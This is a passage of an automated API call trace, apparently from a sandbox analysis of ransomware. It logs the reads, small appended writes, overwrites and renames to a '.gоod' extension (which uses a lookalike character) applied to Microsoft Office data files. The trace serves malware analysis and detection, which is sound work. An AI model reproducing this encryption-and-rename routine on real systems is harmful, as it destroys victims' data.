ftLastWriteTime.dwLowDateTime=0x5fee059a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x406c)) returned 1 [0167.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0167.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0167.301] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4f [0167.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0167.301] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3484200 | out: lpFileInformation=0x3484200*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd060ab93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd060ab93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd07ae4bb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4a23)) returned 1 [0167.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0167.301] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4f [0167.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.302] GetFileType (hFile=0x768) returned 0x1 [0167.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.302] GetFileType (hFile=0x768) returned 0x1 [0167.302] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0167.302] ReadFile (in: hFile=0x768, lpBuffer=0x3484688, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3484688*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0167.304] CloseHandle (hObject=0x768) returned 1 [0167.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4f [0167.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.304] GetFileType (hFile=0x768) returned 0x1 [0167.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.304] GetFileType (hFile=0x768) returned 0x1 [0167.304] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x4a23 [0167.304] WriteFile (in: hFile=0x768, lpBuffer=0x34859d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x34859d8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0167.305] CloseHandle (hObject=0x768) returned 1 [0167.305] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4f [0167.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.305] GetFileType (hFile=0x768) returned 0x1 [0167.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.305] GetFileType (hFile=0x768) returned 0x1 [0167.305] ReadFile (in: hFile=0x768, lpBuffer=0x3487cd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3487cd0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0167.334] CloseHandle (hObject=0x768) returned 1 [0167.334] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4f [0167.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.334] GetFileType (hFile=0x768) returned 0x1 [0167.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.334] GetFileType (hFile=0x768) returned 0x1 [0167.334] WriteFile (in: hFile=0x768, lpBuffer=0x34869f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34869f0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0167.334] CloseHandle (hObject=0x768) returned 1 [0167.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x4f [0167.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x54 [0167.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0167.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd060ab93, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd060ab93, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5ff2ca8c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a33)) returned 1 [0167.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0167.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\powerpointmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0167.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0167.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0167.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3401eb8 | out: lpFileInformation=0x3401eb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9851ecf, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf9851ecf, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x229c5)) returned 1 [0167.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0167.543] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0167.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.544] GetFileType (hFile=0x768) returned 0x1 [0167.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.544] GetFileType (hFile=0x768) returned 0x1 [0167.544] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0167.544] ReadFile (in: hFile=0x768, lpBuffer=0x3402380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3402380*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0167.578] CloseHandle (hObject=0x768) returned 1 [0167.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0167.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.578] GetFileType (hFile=0x768) returned 0x1 [0167.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.579] GetFileType (hFile=0x768) returned 0x1 [0167.579] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x229c5 [0167.579] WriteFile (in: hFile=0x768, lpBuffer=0x340ca30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x340ca30*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0167.612] CloseHandle (hObject=0x768) returned 1 [0167.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0167.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.612] GetFileType (hFile=0x768) returned 0x1 [0167.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.613] GetFileType (hFile=0x768) returned 0x1 [0167.613] ReadFile (in: hFile=0x768, lpBuffer=0x3488558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3488558*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0167.710] CloseHandle (hObject=0x768) returned 1 [0167.710] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0167.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0167.711] GetFileType (hFile=0x768) returned 0x1 [0167.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.711] GetFileType (hFile=0x768) returned 0x1 [0167.711] WriteFile (in: hFile=0x768, lpBuffer=0x3487258*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3487258*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0167.712] CloseHandle (hObject=0x768) returned 1 [0167.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x56 [0167.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x5b [0167.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0167.712] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9851ecf, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf9851ecf, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x602e645c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x229d5)) returned 1 [0167.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0167.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0167.713] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0167.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0167.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x35314d0 | out: lpFileInformation=0x35314d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b1a0d3d, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3a1db)) returned 1 [0167.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0167.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0167.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.997] GetFileType (hFile=0x80c) returned 0x1 [0167.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.998] GetFileType (hFile=0x80c) returned 0x1 [0167.998] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0167.998] ReadFile (in: hFile=0x80c, lpBuffer=0x3510850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3510850*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0167.999] CloseHandle (hObject=0x80c) returned 1 [0167.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0167.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0167.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.999] GetFileType (hFile=0x80c) returned 0x1 [0167.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0167.999] GetFileType (hFile=0x80c) returned 0x1 [0167.999] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x3a1db [0168.000] WriteFile (in: hFile=0x80c, lpBuffer=0x3511b50*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3511b50*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0168.001] CloseHandle (hObject=0x80c) returned 1 [0168.001] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0168.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.001] GetFileType (hFile=0x80c) returned 0x1 [0168.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.001] GetFileType (hFile=0x80c) returned 0x1 [0168.001] ReadFile (in: hFile=0x80c, lpBuffer=0x3513ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3513ed8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0168.029] CloseHandle (hObject=0x80c) returned 1 [0168.029] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0168.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0168.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0168.029] GetFileType (hFile=0x80c) returned 0x1 [0168.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0168.029] GetFileType (hFile=0x80c) returned 0x1 [0168.029] WriteFile (in: hFile=0x80c, lpBuffer=0x3512be8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3512be8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0168.029] CloseHandle (hObject=0x80c) returned 1 [0168.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x51 [0168.030] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x56 [0168.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0168.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\project.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b1a0d3d, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x605e13e9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a1eb)) returned 1 [0168.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0168.030] 